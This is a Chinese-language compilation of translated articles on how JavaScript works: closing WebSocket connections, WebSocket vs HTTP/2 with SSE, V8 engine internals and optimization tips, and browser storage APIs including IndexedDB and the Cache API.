要关闭连接,客户机或服务器都应该发送包含操作码0x8的数据的控制帧。当接收到这样一个帧时,另一个对等点发送一个关闭帧作为响应,然后第一个对等点关闭连接,关闭连接后接收到的任何其他数据都将被丢弃:

// Close if the connection is open.
if (socket.readyState === WebSocket.OPEN) {
    socket.close();
}

另外,为了在完成关闭之后执行其他清理,可以将事件侦听器附加到关闭事件:

// Do necessary clean up.
socket.onclose = function(event) {
  console.log('Disconnected from WebSocket.');
};

服务器必须监听关闭事件以便在需要时处理它:

connection.on('close', function(reasonCode, description) {
    // The connection is getting closed.
});

WebSockets和HTTP/2 比较

虽然HTTP/2提供了很多功能,但它并没有完全满足对现有推送/流技术的需求。

关于 HTTP/2 的第一个重要的事情是它并不能替代所有的 HTTP 。verb、状态码和大部分头信息将保持与目前版本一致。HTTP/2 是意在提升数据在线路上传输的效率。

比较HTTP/2和WebSocket,可以看到很多相似之处:

image

正如我们在上面看到的,HTTP/2引入了 Server Push,它使服务器能够主动地将资源发送到客户机缓存。但是,它不允许将数据下推到客户机应用程序本身,服务器推送只由浏览器处理,不会在应用程序代码中弹出,这意味着应用程序没有API来获取这些事件的通知。

这就是服务器发送事件(SSE)变得非常有用的地方。SSE 是一种机制,它允许服务器在建立客户机-服务器连接之后异步地将数据推送到客户机。然后,只要有新的“数据块”可用,服务器就可以决定发送数据。它可以看作是单向发布-订阅模式。它还提供了一个名为 EventSource API 的标准JavaScript,作为W3C HTML5标准的一部分,在大多数现代浏览器中实现。不支持 EventSource API 的浏览器可以轻松地使用 polyfilled 方案来解决。

由于 SSE 基于 HTTP ,因此它与 HTTP/2 非常合适,可以结合使用以实现最佳效果:HTTP/2 处理基于多路复用流的高效传输层,SSE 将 API 提供给应用以启用数据推送。

为了理解 Streams 和 Multiplexing 是什么,首先看一下````IETF```定义:“stream”是在HTTP/2 连接中客户机和服务器之间交换的独立的、双向的帧序列。它的一个主要特征是,一个HTTP/2 连接可以包含多个并发打开的流,任何一个端点都可以从多个流中交错帧。

image

SSE 是基于 HTTP 的,这说明在 HTTP/2 中,不仅可以将多个 SSE 流交织到单个 TCP 连接上,而且还可以通过多个 SSE 流(服务器到客户端的推送)和多个客户端请求(客户端到服务器)。因为有 HTTP/2 和 SSE 的存在,现在有一个纯粹的 HTTP 双向连接和一个简单的 API 就可以让应用程序代码注册到服务器推送服务上。在比较 SSE 和 WebSocket 时,缺乏双向能力往往被认为是一个主要的缺陷。有了 HTTP/2,不再有这种情况。这样就可以跳过 WebSocket ,而坚持使用基于 HTTP 的信号机制。

如何选择WebSocket和HTTP/2?

WebSockets 会在 HTTP/2 + SSE 的领域中生存下来,主要是因为它是一种已经被很好地应用的技术,并且在非常具体的使用情况下,它比 HTTP/2 更具优势,因为它已经被构建用于具有较少开销(如报头)的双向功能。

假设建立一个大型多人在线游戏,需要来自连接两端的大量消息。在这种情况下,WebSockets 的性能会好很多。

一般情况下,只要需要客户端和服务器之间的真正低延迟,接近实时的连接,就使用 WebSocket ,这可能需要重新考虑如何构建服务器端应用程序,以及将焦点转移到队列事件等技术上。

使用的方案需要显示实时的市场消息,市场数据,聊天应用程序等,依靠 HTTP/2 + SSE 将为你提供高效的双向通信渠道,同时获得留在 HTTP 领域的各种好处:

  • 当考虑到与现有 Web 基础设施的兼容性时,WebSocket 通常会变成一个痛苦的源头,因为它将 HTTP 连接升级到完全不同于 HTTP 的协议。

  • 规模和安全性:Web 组件(防火墙,入侵检测,负载均衡)是以 HTTP 为基础构建,维护和配置的,这是大型/关键应用程序在弹性,安全性和可伸缩性方面更偏向的环境。

原文:https://blog.sessionstack.com/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path-584e6b8e3bf7

编辑中可能存在的bug没法实时知道,事后为了解决这些bug,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具Fundebug

####老铁福利:
Redux+React+Express+Socket.io构建实时聊天应用教程

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

2.JavaScript是如何工作的:深入V8引擎&编写优化代码的5个技巧

概述

JavaScript引擎是执行 JavaScript 代码的程序或解释器。JavaScript引擎可以实现为标准解释器,或者以某种形式将JavaScript编译为字节码的即时编译器。

以为实现JavaScript引擎的流行项目的列表:

  • V8 — 开源,由 Google 开发,用 C ++ 编写

  • Rhino — 由 Mozilla 基金会管理,开源,完全用 Java 开发

  • SpiderMonkey — 是第一个支持 Netscape Navigator 的 JavaScript 引擎,目前正供 Firefox 使用

  • JavaScriptCore — 开源,以Nitro形式销售,由苹果为Safari开发

  • KJS — KDE 的引擎,最初由 Harri Porten 为 KDE 项目中的 Konqueror 网页浏览器开发

  • Chakra (JScript9) — Internet Explorer

  • Chakra (JavaScript) — Microsoft Edge

  • Nashorn, 作为 OpenJDK 的一部分,由 Oracle Java 语言和工具组编写

  • JerryScript —  物联网的轻量级引擎

为什么要创建V8引擎?

由谷歌构建的V8引擎是开源的,使用c++编写。这个引擎是在谷歌Chrome中使用的,但是,与其他引擎不同的是 V8 也用于流行的 node.js。

image

V8最初被设计用来提高web浏览器中JavaScript执行的性能。为了获得速度,V8 将 JavaScript 代码转换成更高效的机器码,而不是使用解释器。它通过实现 JIT (Just-In-Time) 编译器将 JavaScript 代码编译为执行时的机器码,就像许多现代 JavaScript 引擎(如SpiderMonkey或Rhino (Mozilla)) 所做的那样。这里的主要区别是 V8 不生成字节码或任何中间代码。

V8 曾有两个编译器

在 V8 的 5.9 版本出来之前,V8 引擎使用了两个编译器:

  • full-codegen — 一个简单和非常快的编译器,产生简单和相对较慢的机器码。
  • Crankshaft — 一种更复杂(Just-In-Time)的优化编译器,生成高度优化的代码。

V8 引擎也在内部使用多个线程:

  • 主线程执行你所期望的操作:获取代码、编译代码并执行它

  • 还有一个单独的线程用于编译,因此主线程可以在前者优化代码的同时继续执行

  • 一个 Profiler 线程,它会告诉运行时我们花了很多时间,让 Crankshaft 可以优化它们

  • 一些线程处理垃圾收集器

当第一次执行 JavaScript 代码时,V8 利用 full-codegen 编译器,直接将解析的 JavaScript 翻译成机器代码而不进行任何转换。这使得它可以非常快速地开始执行机器代码。请注意,V8 不使用中间字节码,从而不需要解释器。

当代码已经运行一段时间后,分析线程已经收集了足够的数据来判断应该优化哪个方法。

接下来,Crankshaft  从另一个线程开始优化。它将 JavaScript 抽象语法树转换为被称为 Hydrogen 的高级静态单分配(SSA)表示,并尝试优化 Hydrogen 图,大多数优化都是在这个级别完成的。

内联代码

第一个优化是提前内联尽可能多的代码。内联是用被调用函数的主体替换调用点(调用函数的代码行)的过程。这个简单的步骤允许下面的优化更有意义。

image

隐藏类

JavaScript是一种基于原型的语言:没有使用克隆过程创建类和对象。JavaScript也是一种动态编程语言,这意味着可以在实例化后轻松地在对象中添加或删除属性。

大多数 JavaScript 解释器使用类似字典的结构(基于哈希函数)来存储对象属性值在内存中的位置,这种结构使得在 JavaScript 中检索属性的值比在 Java 或 C# 等非动态编程语言中的计算成本更高。

在Java中,所有对象属性都是在编译之前由固定对象布局确定的,并且无法在运行时动态添加或删除(当然,C#具有动态类型,这是另一个主题)。

因此,属性值(或指向这些属性的指针)可以作为连续缓冲区存储在存储器中,每个缓冲区之间具有固定偏移量, 可以根据属性类型轻松确定偏移的长度,而在运行时可以更改属性类型的 JavaScript 中这是不可能的。

由于使用字典查找内存中对象属性的位置效率非常低,因此 V8 使用了不同的方法:隐藏类。隐藏类与 Java 等语言中使用的固定对象(类)的工作方式类似,只是它们是在运行时创建的。现在,让我们看看他们实际的例子:

image

一旦 “new Point(1,2)” 调用发生,V8 将创建一个名为 “C0” 的隐藏类。

image

尚未为 Point 定义属性,因此“C0”为空。

一旦第一个语句“this.x = x”被执行(在“Point”函数内),V8 将创建一个名为 “C1” 的第二个隐藏类,它基于“C0”。 “C1”描述了可以找到属性 x 的存储器中的位置(相对于对象指针)。

在这种情况下,“x”存储在偏移0处,这意味着当将存储器中的 point 对象视为连续缓冲区时,第一偏移将对应于属性 “x”。 V8 还将使用 “类转换” 更新 “C0” ,该类转换指出如果将属性 “x” 添加到 point 对象,则隐藏类应从 “C0” 切换到 “C1”。 下面的 point 对象的隐藏类现在是“C1”。

image

每次将新属性添加到对象时,旧的隐藏类都会更新为指向新隐藏类的转换路径。隐藏类转换非常重要,因为它们允许在以相同方式创建的对象之间共享隐藏类。如果两个对象共享一个隐藏类并且同一属性被添加到它们中,则转换将确保两个对象都接收相同的新隐藏类以及随其附带的所有优化代码。

当语句 “this.y = y” 被执行时,会重复同样的过程(在 “Point” 函数内部,“this.x = x”语句之后)。

一个名为“C2”的新隐藏类会被创建,如果将一个属性 “y” 添加到一个 Point 对象(已经包含属性“x”),一个类转换会添加到“C1”,则隐藏类应该更改为“C2”,point 对象的隐藏类更新为“C2”。

image

隐藏类转换取决于将属性添加到对象的顺序。看看下面的代码片段:

image

现在,假设对于p1和p2,将使用相同的隐藏类和转换。那么,对于“p1”,首先添加属性“a”,然后添加属性“b”。然而,“p2”首先分配“b”,然后是“a”。因此,由于不同的转换路径,“p1”和“p2”以不同的隐藏类别结束。在这种情况下,以相同的顺序初始化动态属性好得多,以便隐藏的类可以被重用。

内联缓存

V8利用了另一种优化动态类型语言的技术,称为内联缓存。内联缓存依赖于这样一种观察,即对同一方法的重复调用往往发生在同一类型的对象上。这里可以找到对内联缓存的深入解释。

接下来将讨论内联缓存的一般概念(如果您没有时间通过上面的深入了解)。

那么它是如何工作的呢? V8 维护了在最近的方法调用中作为参数传递的对象类型的缓存,并使用这些信息预测将来作为参数传递的对象类型。如果 V8 能够很好地预测传递给方法的对象的类型,它就可以绕过如何访问对象属性的过程,而是使用从以前的查找到对象的隐藏类的存储信息。

那么隐藏类和内联缓存的概念如何相关呢?无论何时在特定对象上调用方法时,V8 引擎都必须执行对该对象的隐藏类的查找,以确定访问特定属性的偏移量。在同一个隐藏类的两次成功的调用之后,V8 省略了隐藏类的查找,并简单地将该属性的偏移量添加到对象指针本身。对于该方法的所有下一次调用,V8 引擎都假定隐藏的类没有更改,并使用从以前的查找存储的偏移量直接跳转到特定属性的内存地址。这大大提高了执行速度。

内联缓存也是为什么相同类型的对象共享隐藏类非常重要的原因。 如果你创建两个相同类型和不同隐藏类的对象(正如我们之前的例子中所做的那样),V8将无法使用内联缓存,因为即使这两个对象属于同一类型,它们对应的隐藏类为其属性分配不同的偏移量。

image

这两个对象基本相同,但是“a”和“b”属性的创建顺序不同。

编译成机器码

一旦 Hydrogen 图被优化,Crankshaft 将其降低到称为 Lithium 的较低级表示。大部分的 Lithium 实现都是特定于架构的。寄存器分配往往发生在这个级别。

最后,Lithium 被编译成机器码。然后就是 OSR :on-stack replacement(堆栈替换)。在我们开始编译和优化一个明确的长期运行的方法之前,我们可能会运行堆栈替换。 V8 不只是缓慢执行堆栈替换,并再次开始优化。相反,它会转换我们拥有的所有上下文(堆栈,寄存器),以便在执行过程中切换到优化版本上。这是一个非常复杂的任务,考虑到除了其他优化之外,V8 最初还将代码内联。 V8 不是唯一能够做到的引擎。

有一种叫去优化的安全措施来进行相反的转换,并在假设引擎无效的情况下返回未优化的代码。

垃圾收集

对于垃圾收集,V8采用传统的 mark-and-sweep 算法 来清理旧一代。 标记阶段应该停止JavaScript执行。 为了控制GC成本并使执行更稳定,V8使用增量标记:不是遍历整个堆,尝试标记每个可能的对象,它只是遍历堆的一部分,然后恢复正常执行。下一个GC停止将从上一个堆行走停止的位置继续,这允许在正常执行期间非常短暂的暂停,如前所述,扫描阶段由单独的线程处理。

如何编写优化的 JavaScript

  1. 对象属性的顺序:始终以相同的顺序实例化对象属性,以便可以共享隐藏的类和随后优化的代码。

  2. 动态属性: 因为在实例化之后向对象添加属性将强制执行隐藏的类更改,并降低之前隐藏类所优化的所有方法的执行速度,所以在其构造函数中分配所有对象的属性。

  3. 方法:重复执行相同方法的代码将比仅执行一次的多个不同方法(由于内联缓存)的代码运行得更快。

  4. 数组:避免稀疏数组,其中键值不是自增的数字,并没有存储所有元素的稀疏数组是哈希表。这种数组中的元素访问开销较高。另外,尽量避免预分配大数组。最好是按需增长。最后,不要删除数组中的元素,这会使键值变得稀疏。

  5. 标记值:V8 使用 32 位表示对象和数值。由于数值是 31 位的,它使用了一位来区分它是一个对象(flag = 1)还是一个称为 SMI(SMall Integer)整数(flag = 0)。那么,如果一个数值大于 31 位,V8会将该数字装箱,把它变成一个双精度数,并创建一个新的对象来存放该数字。尽可能使用 31 位有符号数字,以避免对 JS 对象的高开销的装箱操作。

Ignition and TurboFan

随着2017年早些时候发布V8 5.9,引入了新的执行管道。 这个新的管道在实际的JavaScript应用程序中实现了更大的性能提升和显着节省内存。

新的执行流程是建立在 Ignition( V8 的解释器)和 TurboFan( V8 的最新优化编译器)之上的。

自从 V8 5.9 版本问世以来,由于 V8 团队一直努力跟上新的 JavaScript 语言特性以及这些特性所需要的优化,V8 团队已经不再使用 full-codegen 和 Crankshaft(自 2010 年以来为 V8 技术所服务)。

这意味着 V8 整体上将有更简单和更易维护的架构。

image

这些改进只是一个开始。 新的Ignition和TurboFan管道为进一步优化铺平了道路,这些优化将在未来几年内提升JavaScript性能并缩小V8在Chrome和Node.js中的占用空间。

原文:https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

16.JavaScript是如何工作的:存储引擎+如何选择合适的存储API

概述

在设计 Web 应用程序时,为本地浏览器选择合适的存储机制至关重要, 一个好的存储引擎可以确保可靠地保存信息,减少带宽,提高响应能力。正确的存储缓存策略是实现离线移动 Web 体验的核心构建块,同时也大大的提高了用户体验。

在本章中,讨论可选择的存储 Api 和服务,并提供一些在构建 Web应用程序,该使用哪种存储引擎。

数据模型

数据存储模型确定数据在内部的组织方式,这会影响 Web 应用程序的整个设计,合理的数据模式会让 Web 应用程序在完成它应有的任务下还能让运行速度更加高效。对于所有与工程相关的问题,没有存在最好的解决方法,也没有适用于所有问题的解决方案,不同场景下有不同的选择。所以,来看看可选择的数据模型:

  • 结构化: 存储在具有预定义字段的表中的数据(这是典型的基于 SQL 的数据库管理系统)适行灵活的动态查询。浏览器中结构化数据存储的一个代表的例子是 IndexedDB

  • Key/Value: 键/值 数据存储和相关的 NoSQL 数据库提供了存储和检索由唯一键索引的非结构化数据的能力。键/值 数据存储类似于哈希表,因为它们允许对索引的不透明数据进行长时间访问。 键/值 数据存储的代表例子是浏览器中的 Cache API 和服务器上的 Apache Cassandra

Apache Cassandra 是一套开源分布式数据库管理系统,由Facebook开发,用于储存特别大的数据。

  • **字节流:**这个简单的模型将数据存储为长度不透明的字节字符串变量,将任何形式的内部组织留给应用层。这个模型特别适合于文件系统和其他分层组织的数据块。字节流数据存储的代表例子包括文件系统和云存储服务。

持久化

web 应用程序的存储方法可以根据数据持久化的时间段进行划分:

  • 会话持久化: 该类别中的数据仅在单个 Web 会话或浏览器选项卡保持激活状态时才持久,具有会话持久性的存储机制的一个示例是 Session Storage API

  • 设备的持久化: 此类别中的数据在特定设备上跨会话和浏览器选项卡/窗口持久化,具有设备持久化的存储机制的一个示例是 Cache API

  • 此类中的数据跨会话和设备持久化。因此,它是最健壮的数据持久性形式。但是,它不能存储在设备本身上,这意味需要在某种服务器端存储。在这里不会详细讨论它,因为本文的重点是在设备本身上存储数据。

浏览器中的数据持久化

现在,有相当多的浏览器 Api 用来存储数据。这里将逐一介绍其中的一些及它们的区别,以便后续我们能够容合理的选择使用。

然而,在选择如何持久化数据之前,有几件事需要考虑。当然,有必要知道的的第一件事是你的 Web 应用程序应用场景是什么,以及以后如何迭代和丰富。即使你知道了这些,最终也会有几个选择。所以,以下是需要了解的:

  • 浏览器支持  —  标准化和完善的 API 更值得我们选择,因为它们往往寿命更长,支持更广泛, 这些API 还享有更丰富的文档和开发人员社区。

  • 事务 — 有时,相关存储操作的集合原子地成功或失败是很重要的。传统上,数据库使用事务模型支持此功能,其中相关更新可以分组到任意单元中。

  • 同步/异步 — 有些存储 Api 是同步的,因为存储或检索请求会阻塞当前活动的线程,直到请求完成。使用同步存储 API 会阻塞主线程,并为 Web 应用程序的 UI 创建冻结体验。如果可能,使用异步API。

比较

在本节中,了解决 Web 开发人员的当前可用存储 Api,并从各个维度上进行比较。

image

文件系统API

image

通过 FileSystem API, Web 应用就可以创建、读取、导航用户本地文件系统中的沙盒部分以及向其中写入数据。

API 被分为以下不同的主题:

  • 读取和处理文件:File/Blob、FileList、FileReader
  • 创建和写入:BlobBuilder、FileWriter
  • 目录和文件系统访问:DirectoryReader、FileEntry/DirectoryEntry、LocalFileSystem

FileSystem API 是非标准 API。在发布环境因慎重使用,因为并是所有的浏览器都支持,实现方式可能存在很大的不兼容性,并且在将来可能也会发生变化。

请求文件系统

网络应用可通过调用 window.requestFileSystem() 请求对沙盒文件系统的访问权限:

// Note: The file system has been prefixed as of Google Chrome 12:
window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;
window.requestFileSystem(type, size, successCallback, opt_errorCallback)

**type:**文件存储是否应该是持久的。可能的值包括 window.TEMPORARYwindow.PERSISTENT。通过 TEMPORARY 存储的数据可由浏览器自行决定删除(例如在需要更多空间的情况下),要清除PERSISTENT 存储,必须获得用户或应用的明确授权,并且需要用户向你的应用授予配额。

**size: ** 应用需要用于存储的大小 (以字节为单位)。

**successCallback:**文件系统请求成功时调用的回调,其参数为 FileSystem 对象。

opt_errorCallback: 用于处理错误或获取文件系统的请求遭到拒绝时可选的回调,其参数为 FileError 对象。

如果你是首次调用 requestFileSystem(),系统会为你的应用创建新的存储。请注意,这是沙箱文件系统,也就是说,一个网络应用无法访问另一个应用的文件。

在访问文件系统之后,可以对文件和目录执行大多数标准操作。

与其他存储类型相比,文件系统是一个完全不同的存储类型,因为它的旨在满足数据库,很不能很好地服务的客户端存储用例。通常,这些应用程序处理大型二进制blob或与浏览器上下文之外的应用程序共享数据。

以下使用文件系统 API 的几个示例:

  • 有上传的应用

  • 当你选择一个文件或目录进行上传时,你可以赋值文件到一个本地沙盒并一次上传一个块。

  • 应用可以在一次中断后重新上传,中断可能包括浏览器被关闭或崩溃,连接中断,或电脑被关闭。

  • 视频游戏或其他使用大量媒体资源的应用

  • 用下载一个或多个大压缩包并在本地将他们解压到一个文件目录中。

  • 应用能在后台预取资源,从而让用户能够进入下一项工作或游戏等级,而不需要等待下载。

  • 音频或照片编辑器使用线下访问或本地缓存

  • 应用可以分段写入文件(例如只覆盖ID3/EXIF标签而不是整个文件)。

  • 线下视频浏览

  • 应用可以访问只下载了部分的文件。

  • 线下网络邮件客户端

  • 客户端下载附件并在本地存储它们。

  • 客户端缓存附件用于稍后的上传。

目前浏览器对文件系统 API 的支持:

image

Local storage

image

只读的 localStorage 允许你访问一个 Document 的远端(origin)对象 Storage;其存储的数据能在跨浏览器会话保留。 localStorage 类似 sessionStorage,其区别在于:存储在 localStorage 的数据可以长期保留;而当页面会话结束——也就是说当页面被关闭时,存储在 sessionStorage 的数据会被清除 。

应注意无论数据存储在 localStorage 还是 sessionStorage ,它们都特定于页面的协议

另外,localStorage 中的键值对总是以字符串的形式存储。

当前浏览器对API的支持:

image

Session storage

image

sessionStorage 属性允许你访问一个 session Storage 对象。它与 localStorage 相似,不同之处在于 localStorage 里面存储的数据没有过期时间设置,而存储在 sessionStorage 里面的数据在页面会话结束时会被清除。页面会话在浏览器打开期间一直保持,并且重新加载或恢复页面仍会保持原来的页面会话。在新标签或窗口打开一个页面时会在顶级浏览上下文中初始化一个新的会话,这点和 session cookies 的运行方式不同。

应该注意的是,无论是 localStorage 还是 sessionStorage 中保存的数据都仅限于该页面的协议

当前浏览器对API的支持:

image

Cookies

image

HTTP Cookie(也叫Web Cookie或浏览器Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。

Cookie主要用于以下三个方面:

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
    * 浏览器行为跟踪(如跟踪分析用户行为等)

Cookie曾一度用于客户端数据的存储,因当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,Cookie渐渐被淘汰。由于服务器指定Cookie后,浏览器的每次请求都会携带Cookie数据,会带来额外的性能开销(尤其是在移动环境下)。

cookie 类型有两种:

  • 会话 Cookie  —  浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。会话期Cookie不需要指定过期时间(Expires)或者有效期(Max-Age)。需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期Cookie也会被保留下来,就好像浏览器从来没有关闭一样。

  • 持久 Cookie — 和关闭浏览器便失效的会话期Cookie不同,持久性Cookie可以指定一个特定的过期时间(Expires)或有效期(Max-Age)。

当机器处于不安全环境时,切记不能通过HTTP Cookie存储、传输敏感信息,且所有浏览器都广泛支持cookie。

Cache

image

Cache 接口为缓存的 Request/Response 对象对提供存储机制,例如,作为 ServiceWorker 生命周期的一部分。请注意,Cache 接口像 workers 一样,是暴露在 window 作用域下的。尽管它被定义在 service worker 的标准中, 但是它不必一定要配合 service worker 使用.

一个域可以有多个命名 Cache 对象。你需要在你的脚本 (例如,在 ServiceWorker 中)中处理缓存更新的方式。除非明确地更新缓存,否则缓存将不会被更新;除非删除,否则缓存数据不会过期。使用 CacheStorage.open(cacheName) 打开一个Cache 对象,再使用 Cache 对象的方法去处理缓存.

你需要定期地清理缓存条目,因为每个浏览器都硬性限制了一个域下缓存数据的大小。缓存配额使用估算值,可以使用 StorageEstimate API 获得。浏览器尽其所能去管理磁盘空间,但它有可能删除一个域下的缓存数据。浏览器要么自动删除特定域的全部缓存,要么全部保留。确保按名称安装版本缓存,并仅从可以安全操作的脚本版本中使用缓存。查看 Deleting old caches 获取更多信息.

CacheStorage 接口表示 Cache 对象的存储。

  • 它提供了一个 ServiceWorker,其它类型worker或者 window 范围内可以访问到的所有命名cache的主目录(它并不是一定要和 service workers 一起使用,即使它是在 service workers 规范中定义的),并维护一份字符串名称到相应 Cache 对象的映射。

  • 使用 CacheStorage.open() 获取 Cache 实例。

  • 使用 CacheStorage.match() 检查给定的 Request 是否是 CacheStorage 对象跟踪的任何 Cache 对象中的键。

你可以通过 caches 属性访问 CacheStorage .

IndexedDB

image

IndexedDB 是一种在用户浏览器中持久存储数据的方法。因为它允许你创建具有丰富查询功能的 Web 应用程序,无论网络可用性如何,这些应用程序都可以在线和离线工作。IndexedDB 对于存储大量数据的应用程序(例如,借出库中的 DVD 目录)和不需要持久 internet 连接才能工作的应用程序(例如,邮件客户机、待办事项列表和记事本)非常有用。

在本文中,会更详细地讨论存储数据库,因为其余的存储 Api 都是众所周知的。另外,随着 Web 应用程序的复杂性越来越高,IndexedDB 也越来越受欢迎。

IndexedDB的内部结构

IndexedDB 通过“键”来存储和检索对象。对数据库所做的所有更改都发生在事务中,像大多数 Web 存储解决方案一样,IndexedDB 遵循同源策略。因此,虽然可以访问域中存储的数据,但是不能跨不同的域访问数据。

IndexedDB 是一个 异步 API,可以在大多数上下文中使用,包括 WebWorkers。它过去也包括一个同步版本,供 Web 开发者使用,但是由于 Web 社区对它缺乏兴趣,所以从规范中删除了这个版本。

IndexedDB 曾经有一个与之竞争的规范,称为 WebSQL 数据库,但是 W3C 弃用了它。虽然 IndexedDB 和WebSQL 都是存储解决方案,但它们提供的功能不同。WebSQL 数据库是一个关系数据库访问系统,而IndexedDB 是一个索引表系统。

不要一开始就使用 IndexedDB,这依赖于你对其他类型数据库的假设。相反,应该仔细阅读文档,以下是一些需要牢记的基本概念:

  • IndexedDB 数据库使用 key-value 键值对储存数据  —  values 数据可以是结构非常复杂的对象,key可以是对象自身的属性。你可以对对象的某个属性创建索引(index)以实现快速查询和列举排序。key可以是二进制对象。

  • IndexedDB 是事务模式的数据库 —  任何操作都发生在事务(transaction)中。 IndexedDB API提供了索引(indexes)、表(tables)、指针(cursors)等等,但是所有这些必须是依赖于某种事务的。因此,你不能在事务外执行命令或者打开指针。事务(transaction)有生存周期,在生存周期以后使用它会报错。并且,事务(transaction)是自动提交的,不可以手动提交。

  • The IndexedDB API 基本上是异步的 — IndexedDB 的 API 不通过 return 语句返回数据,而是需要你提供一个回调函数来接受数据。执行 API 时,你不以同步(synchronous)方式对数据库进行“存储”和“读取”操作,而是向数据库发送一个操作“请求”。当操作完成时,数据库会以DOM事件的方式通知你,同时事件的类型会告诉你这个操作是否成功完成。这个过程听起来会有些复杂,但是里面是有明智的原因的。这个和 XMLHttpRequest 请求是类似的。

  • IndexedDB数据库“请求”无处不在 — 每一个“请求”都包含 onsuccessonerror 事件属性,同时你还对 “事件” 调用 addEventListener()removeEventListener()。“请求” 还包括 readyStateresulterrorCode 属性,用来表示“请求”的状态。result 属性尤其神奇,他可以根据“请求”生成的方式变成不同的东西,例如:IDBCursor 实例、刚插入数据库的数值对应的键值(key)等。

  • IndexedDB是面向对象的 — indexedDB 不是用二维表来表示集合的关系型数据库,这一点非常重要,将影响你设计和建立你的应用程序。

  • indexedDB 不使用结构化查询语言(SQL) — 它通过索引(index)所产生的指针(cursor)来完成查询操作,从而使你可以迭代遍历到结果集合。如果你不熟悉NoSQL系统,可以参考维基百科相关文章

  • IndexedDB遵循同源(same-origin)策略 — “源”指脚本所在文档URL的域名、应用层协议和端口。每一个“源”都有与其相关联的数据库。在同一个“源”内的所有数据库都有唯一、可区别的名称。

IndexedDB局限性

以下情况不适合使用IndexedDB

  • 全球多种语言混合存储。国际化支持不好。需要自己处理。
  • 和服务器端数据库同步。你得自己写同步代码。
  • 全文搜索。IndexedDB 接口没有类似 SQL 语句中 LIKE 的功能。

注意,在以下情况下,数据库可能被清除:

  • 用户请求清除数据。
  • 浏览器处于隐私模式。最后退出浏览器的时候,数据会被清除。
  • 硬盘等存储设备的容量到限。
  • 数据损坏。
  • 进行与特性不兼容的操作。
  • 确切的环境和浏览器特性会随着时间改变,但浏览器厂商通常会遵循尽最大努力保留数据的理念。

确切的环境和浏览器特性会随着时间改变,但浏览器厂商通常会遵循尽最大努力保留数据的理念。

image

选择正确的存储API

如前所述,最好选择尽可能多的浏览器广泛支持的 Api,并提供异步调用模型,以最大限度地提高 UI 响应能力。这些标准自然会导致以下技术选择:

  • 对于离线存储,请使用 Cache API。任何支持创建离线应用程序所需的 Service Worker technology 的浏览器都可以使用这个 API,Cache API 非常适合存储与已知 URL 关联的资源。

  • 要存储应用程序状态和用户生成的内容,请使用IndexedDB。这使得用户可以在更多的浏览器中离线工作,而不仅仅是那些支持缓存API的浏览器。


原文:

https://blog.sessionstack.com/how-javascript-works-storage-engines-how-to-choose-the-proper-storage-api-da50879ef576

这篇主要一些内容原作者大部分是通过 MDN 整理的组合的,我也是根据中文的 MND 整理的组合。

你的点赞是我持续分享好东西的动力,欢迎点赞!

####欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.